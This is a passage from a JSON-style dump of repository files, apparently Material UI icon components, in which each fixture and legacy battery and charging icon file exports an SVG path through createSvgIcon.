    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM14.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H10V10h3V9h-3V5.5h4.5zm1 7H17v1.5h-1.5z\" />\n, 'FiveMp');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/QueueMusicOutlined.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"m22 6h-5v8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3zm-7 0H3v2h12zm0 4H3v2h12zm-4 4H3v2h8zm4 3c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\" />\n, 'QueueMusicOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/RecordVoiceOverTwoTone.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<g opacity=\".3\" key=\"0\"><circle cx=\"9\" cy=\"9\" r=\"2\" /><path d=\"M9 17c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\" /></g>,<path d=\"M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM16.76 5.36l-1.68 1.69c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27M20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\" key=\"1\" />,]\n, 'RecordVoiceOverTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/SixtyFps.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 3V5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8zm-2 5v3H5v-3z\" />\n, 'SixtyFps');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/StarRounded.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M0 0h24v24H0zm0 0h24v24H0zm12 17.27 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.72 3.67-3.18c.67-.58.31-1.68-.57-1.75l-4.83-.41-1.89-4.46c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08z\" />\n, 'StarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/ThirtyFps.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M2 5v3h6v2.5H3v3h5V16H2v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3zm17 3v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\" />\n, 'ThirtyFps');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/TimesOneMobiledata.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M4 7h4v10H6V9H4zm11.83 4.72L18.66 7h-2.33l-1.66 2.77L13 7h-2.33l2.83 4.72L10.33 17h2.33l2-3.34 2 3.34H19z\" />\n, 'TimesOneMobiledata');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/TwentyFourMp.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m8.5 1h-1v1.5H16V10h-3V5.5h1.5v3H16v-3h1.5v3h1zm-3 4H17v1.5h-1.5z\" />\n, 'TwentyFourMp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery20.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\" /><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\" /></React.Fragment>\n, 'Battery20');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery20Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\" /><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\" /></React.Fragment>\n, 'Battery20Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery20Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\" /><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\" /></React.Fragment>\n, 'Battery20Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery20Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M7 17v5h10v-5H7z\" /><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v13h10V4z\" /></React.Fragment>\n, 'Battery20Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery20TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\" /><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\" /></React.Fragment>\n, 'Battery20TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery30.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\" /><path d=\"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\" /></React.Fragment>\n, 'Battery30');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery30Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\" /><path d=\"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\" /></React.Fragment>\n, 'Battery30Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery30Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\" /><path d=\"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\" /></React.Fragment>\n, 'Battery30Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery30Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v11h10V4z\" /><path d=\"M7 15v7h10v-7H7z\" /></React.Fragment>\n, 'Battery30Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery30TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\" /><path d=\"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\" /></React.Fragment>\n, 'Battery30TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery50.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\" /><path d=\"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\" /></React.Fragment>\n, 'Battery50');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery50Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\" /><path d=\"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\" /></React.Fragment>\n, 'Battery50Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery50Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\" /><path d=\"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\" /></React.Fragment>\n, 'Battery50Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery50Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v9h10V4z\" /><path d=\"M7 13v9h10v-9H7z\" /></React.Fragment>\n, 'Battery50Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery50TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\" /><path d=\"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\" /></React.Fragment>\n, 'Battery50TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery60.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\" /><path d=\"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\" /></React.Fragment>\n, 'Battery60');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery60Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\" /><path d=\"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\" /></React.Fragment>\n, 'Battery60Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery60Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\" /><path d=\"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\" /></React.Fragment>\n, 'Battery60Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery60Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v7h10V4z\" /><path d=\"M7 11v11h10V11H7z\" /></React.Fragment>\n, 'Battery60Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery60TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\" /><path d=\"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\" /></React.Fragment>\n, 'Battery60TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery80.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\" /><path d=\"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\" /></React.Fragment>\n, 'Battery80');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery80Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\" /><path d=\"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\" /></React.Fragment>\n, 'Battery80Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery80Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\" /><path d=\"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\" /></React.Fragment>\n, 'Battery80Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery80Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v5h10V4z\" /><path d=\"M7 9v13h10V9H7z\" /></React.Fragment>\n, 'Battery80Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery80TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\" /><path d=\"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\" /></React.Fragment>\n, 'Battery80TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery90.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\" /><path d=\"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\" /></React.Fragment>\n, 'Battery90');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery90Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\" /><path d=\"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\" /></React.Fragment>\n, 'Battery90Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery90Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\" /><path d=\"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\" /></React.Fragment>\n, 'Battery90Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery90Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v4h10V4z\" /><path d=\"M7 8v14h10V8H7z\" /></React.Fragment>\n, 'Battery90Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/Battery90TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\" /><path d=\"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\" /></React.Fragment>\n, 'Battery90TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging20.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging20');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging20Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging20Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging20Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M11.94 18.24c-.24.45-.94.28-.94-.24v-1H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4l-.66 1.24z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging20Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging20Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M11 20v-3H7v5h10v-5h-4.4L11 20z\" /><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v13h4v-2.5H9L13 7v5.5h2L12.6 17H17V4z\" /></React.Fragment>\n, 'BatteryCharging20Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging20TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging20TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging30.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\" /></React.Fragment>\n, 'BatteryCharging30');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging30Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\" /></React.Fragment>\n, 'BatteryCharging30Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging30Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v9.17h2.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-.67 1.26H17V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M11.94 18.24c-.24.45-.94.28-.94-.24v-3.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07l-1.99 3.74z\" /></React.Fragment>\n, 'BatteryCharging30Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging30Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v10.5h2L13 7v5.5h2l-1.07 2H17V4z\" /><path d=\"M11 20v-5.5H7V22h10v-7.5h-3.07L11 20z\" /></React.Fragment>\n, 'BatteryCharging30Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging30TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\" /></React.Fragment>\n, 'BatteryCharging30TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging50.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging50');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging50Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging50Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging50Rounded.js",
